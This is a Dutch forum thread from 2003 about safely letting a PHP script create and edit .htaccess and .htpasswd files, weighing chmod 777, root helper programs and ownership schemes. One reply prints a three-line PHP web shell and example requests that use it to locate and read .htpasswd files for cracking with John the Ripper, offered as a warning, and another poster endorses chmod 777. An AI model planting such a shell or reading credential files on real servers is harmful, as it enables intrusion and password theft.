[php] .htaccess en .htpasswd bestanden beveiligen

Pagina: 1
Acties:
  • 106 views sinds 30-01-2008
  • Reageer

Onderwerpen


Acties:
  • 0 Henk 'm!

  • Slagroom
  • Registratie: Juni 2001
  • Laatst online: 05-10-2024
Hallo,

Ik ben bezig om een script te maken die directories en subdirectories beveligd. Om dit te realiseren zet ik in iedere directory (die aangemaakt wordt met een ftp programma) een .htaccess bestand.

Wanneer je een gebruiker toegang wilt verlenen tot een bepaalde directoy moet die persoon aan een regeltje in een .htaccess bestand worden toegevoegd (Require user gebruiker1 gebruiker2 enz). Wanneer dit bestand niet bestaat moet hij worden aangemaakt.

Hoe kan ik het bovenste veilig doen. Ik kwam zelf op de volgende manieren waarmee ik het niet helemaal of niet mee eens ben:
  • een chmod 777 over alle directories gooien. Dan ben je direct klaar maar is volgens mij zo onveilig als de pest (alhoewel je een .ht* bestand niet kunt benaderen via je browser maar wel als je als een andere gebruiker via een ssh of telnet bent ingelogd).
  • Een programma schijven die als root draait en die jij met php kan uitvoeren. Dit programma maak je dan zo dat hij een .htaccess of .htpasswd bestand kan aanpassen en/of kan creeren.
  • een chmod 774 over de directory gooien en de owner de user van apache maken en de groep de groep van de gebruiker maken (of net anders om). Dit zodat je via ftp nog je directories kan benaderen.
Wat is er nog meer mogelijk en hoe kun je het veilig oplossen?

Acties:
  • 0 Henk 'm!

  • Slagroom
  • Registratie: Juni 2001
  • Laatst online: 05-10-2024
Even een schopje O-)

Acties:
  • 0 Henk 'm!

  • kvdveer
  • Registratie: November 2000
  • Laatst online: 07-11-2023

kvdveer

Z.O.Z.

Ben jij root, of een gewone user?

Localhost, sweet localhost


Acties:
  • 0 Henk 'm!

  • dusty
  • Registratie: Mei 2000
  • Laatst online: 15-09 18:24

dusty

Celebrate Life!

Slagroom: Ondertussen zou je toch wel moeten weten dat je niet binnen 24 uur je topic mag schoppen.

Back In Black!
"Je moet haar alleen aan de ketting leggen" - MueR


Acties:
  • 0 Henk 'm!

  • dusty
  • Registratie: Mei 2000
  • Laatst online: 15-09 18:24

dusty

Celebrate Life!

Op verzoek van TS is deze weer open. (uiteraard nadat hij heeft belooft om nooit meer binnen 24 uur te schoppen :P )

[ Voor 53% gewijzigd door dusty op 15-06-2003 17:08 ]

Back In Black!
"Je moet haar alleen aan de ketting leggen" - MueR


Acties:
  • 0 Henk 'm!

Verwijderd

een chmod 777 over alle directories gooien. Dan ben je direct klaar maar is volgens mij zo onveilig als de pest (alhoewel je een .ht* bestand niet kunt benaderen via je browser maar wel als je als een andere gebruiker via een ssh of telnet bent ingelogd).
Op mijn server heb ik 'gelukkig' geen ssh of telnet. Dus ik doe het gewoon via een chmod 777.

Ondanks dat jij dat wel blijkt te hebben, lijkt het mij toch echt niet super 'onveilig' om het gewoon via een chmodje á la 777 te doen. Ik neem aan dat je niet zomaar gebruikers toelaat tot dergelijke zaken die je niet kunt vertrouwen... ofwel?

Dus waarom zou het dan nog 'zo' onveilig zijn om het niet op die manier te doen?

Acties:
  • 0 Henk 'm!

  • curry684
  • Registratie: Juni 2000
  • Laatst online: 06-09 00:37

curry684

left part of the evil twins

Verwijderd schreef op 15 juni 2003 @ 20:36:
Ondanks dat jij dat wel blijkt te hebben, lijkt het mij toch echt niet super 'onveilig' om het gewoon via een chmodje á la 777 te doen. Ik neem aan dat je niet zomaar gebruikers toelaat tot dergelijke zaken die je niet kunt vertrouwen... ofwel?
Uhm ja, en bedrijfsgeheimen worden nooit gestolen door de mensen die na 20 jaar noest werken vertrouwensposities hebben gekregen. Dream on :z

De enige gebruiker die je kunt vertrouwen ben je zelf.

Professionele website nodig?


Acties:
  • 0 Henk 'm!

Verwijderd

Sjah, als scholier ben je nu eenmaal naïef...

En dat ben ik dus... maar goed, als jij 't zegt.

[ Voor 37% gewijzigd door Verwijderd op 15-06-2003 20:53 ]


Acties:
  • 0 Henk 'm!

  • Slagroom
  • Registratie: Juni 2001
  • Laatst online: 05-10-2024
Je kunt toch (die optie zit tenminste in het HTTP 1.X protocol) de opties DELETE e.d. sturen naar een webserver? Daarom lijkt het mij niet veilig om chmod 777 te gebruiken. Ook lijkt me dat zo omdat er meerdere gebruikers op de server kunnen.
kvdveer schreef op 13 juni 2003 @ 19:37:
Ben jij root, of een gewone user?
De php scripts worden gerunt als de webserver user (apache in dit geval), niet als root tenminste.

Acties:
  • 0 Henk 'm!

  • rickmans
  • Registratie: Juli 2001
  • Niet online

rickmans

twittert

Slagroom schreef op 15 June 2003 @ 22:09:
Je kunt toch (die optie zit tenminste in het HTTP 1.X protocol) de opties DELETE e.d. sturen naar een webserver? Daarom lijkt het mij niet veilig om chmod 777 te gebruiken. Ook lijkt me dat zo omdat er meerdere gebruikers op de server kunnen.


[...]

De php scripts worden gerunt als de webserver user (apache in dit geval), niet als root tenminste.
bij mijn weten heeft php toch een chmod functie? Dan zou je hem toch eerst even kunnen chmodden naar 777 vervolgens wijzigen en vervolgens weer braaf terug chmodden?

Don't mind Rick


Acties:
  • 0 Henk 'm!

  • Slagroom
  • Registratie: Juni 2001
  • Laatst online: 05-10-2024
rickmans schreef op 15 juni 2003 @ 22:11:
[...]

bij mijn weten heeft php toch een chmod functie? Dan zou je hem toch eerst even kunnen chmodden naar 777 vervolgens wijzigen en vervolgens weer braaf terug chmodden?
Ik denk niet dat dat gaat werken. Wat nou als ik het bestand later wil aanpassen? Kun je je zelf wel eens andere rechten geven? Je bent namelijk niet de owner van het bestand (het script draait als de user apache en de directory is van de user site40 o.i.d.).

Acties:
  • 0 Henk 'm!

  • rickmans
  • Registratie: Juli 2001
  • Niet online

rickmans

twittert

Slagroom schreef op 15 June 2003 @ 22:20:
[...]


Ik denk niet dat dat gaat werken. Wat nou als ik het bestand later wil aanpassen? Kun je je zelf wel eens andere rechten geven? Je bent namelijk niet de owner van het bestand (het script draait als de user apache en de directory is van de user site40 o.i.d.).
hmm ik heb er tot nu nog geen problemen mee gehad met die oplossing, maar goed dat zou ook bij nader inzien aan mijn 'rechten' structuur kunnen liggen. Misschien gewoon even proberen of je dat bestand via php kan chmodden?

Don't mind Rick


Acties:
  • 0 Henk 'm!

  • luc
  • Registratie: Maart 2000
  • Niet online

luc

Je zult op een of andere manier naar een systeem toe moeten met 2 gescheiden delen, een frontend welke in een database opslaat welke directories beveiligd dienen te worden en welke gebruikers + wachtwoorden er zijn en een backend welke via bijvoorbeeld crond iedere x minuten draait. Denk hierbij aan een php script welke gewoon als root draait en zodoende dus de juiste gegevens in de .htaccess bestanden kan schrijven. Tevens is het in deze setup ook goed mogelijk om een .htgroups en een .htpasswd file in een aparte omgeving weg te schrijven waar apache totaal niet kan komen zodat je systeem nog iets veiliger wordt. Dit geeft je tevens een stukje performance winst omdat je je gegevens zoveel mogelijk centraal opslaat.

Acties:
  • 0 Henk 'm!

Verwijderd

Als het echt veilig moet, dan moet je het anders doen. Op mijn server zijn de meeste bestanden chown'ed dodell.apache en hebben permissies 0640. Mappen zijn ook dodell.apache en hebben permissies 0750. Het probleem is dat mensen ook scripts kunnen gebruiken om het bestandssysteem te verkennen. Bijvoorbeeld, als ik PHP heb, kan ik de volgende script maken:

PHP:
1
2
3
4
<?set_time_limit(0)?>
<pre>
<?=`$_GET['cmd']`?>
</pre>


Als ik naar http://www.myserver.com/evil.php?cmd=find+/+|+grep+htpasswd ga, krijg ik een mooie lijst van alle .htpasswd bestanden op het systeem. Wat nog mooier is, is dat ik deze kan bekijken (http://www.myserver.com/e...t+/path/to/your/.htpasswd) en cracken met john (en distributed computing is nu overal en gemakkelijk om op te zetten).

Ik raad je aan een eigen server te kopen/huren en ook veilig te programmeren ;). Je kunt allerlei dingen doen met een webbrowser. Bijvoorbeeld, ipv .htpasswd, kun je een database gebruiken met geëncrypt passwords omdat het (in principe) moeilijker te cracken is. Je systeem veilig houden en veilig programmeren blijven de top-prioriteiten, maar er is nooit één manier om dit te doen.

offtopic:
Even sorry als mijn zinnen niet helemaal kloppen :\

Acties:
  • 0 Henk 'm!

  • Slagroom
  • Registratie: Juni 2001
  • Laatst online: 05-10-2024
Verwijderd schreef op 16 juni 2003 @ 10:43:
Als het echt veilig moet, dan moet je het anders doen. Op mijn server zijn de meeste bestanden chown'ed dodell.apache en hebben permissies 0640. Mappen zijn ook dodell.apache en hebben permissies 0750. Het probleem is dat mensen ook scripts kunnen gebruiken om het bestandssysteem te verkennen. Bijvoorbeeld, als ik PHP heb, kan ik de volgende script maken:

PHP:
1
2
3
4
<?set_time_limit(0)?>
<pre>
<?=`$_GET['cmd']`?>
</pre>


Als ik naar http://www.myserver.com/evil.php?cmd=find+/+|+grep+htpasswd ga, krijg ik een mooie lijst van alle .htpasswd bestanden op het systeem. Wat nog mooier is, is dat ik deze kan bekijken (http://www.myserver.com/e...t+/path/to/your/.htpasswd) en cracken met john (en distributed computing is nu overal en gemakkelijk om op te zetten).

Ik raad je aan een eigen server te kopen/huren en ook veilig te programmeren ;). Je kunt allerlei dingen doen met een webbrowser. Bijvoorbeeld, ipv .htpasswd, kun je een database gebruiken met geëncrypt passwords omdat het (in principe) moeilijker te cracken is. Je systeem veilig houden en veilig programmeren blijven de top-prioriteiten, maar er is nooit één manier om dit te doen.

offtopic:
Even sorry als mijn zinnen niet helemaal kloppen :\
Wat jij zegt is dat ik de commando's uitvoer met een PHP script. Dat is niet zo. Ik kan een programma schijven in C(++) en die kan ik weer aanroepen met php. Het programma komt buiten de webserver root te staan (webserver staat ook onder mijn beheer).

Is er misschien een manier om met C(++) de user die het script uitvoert op te vangen?
Pagina: 1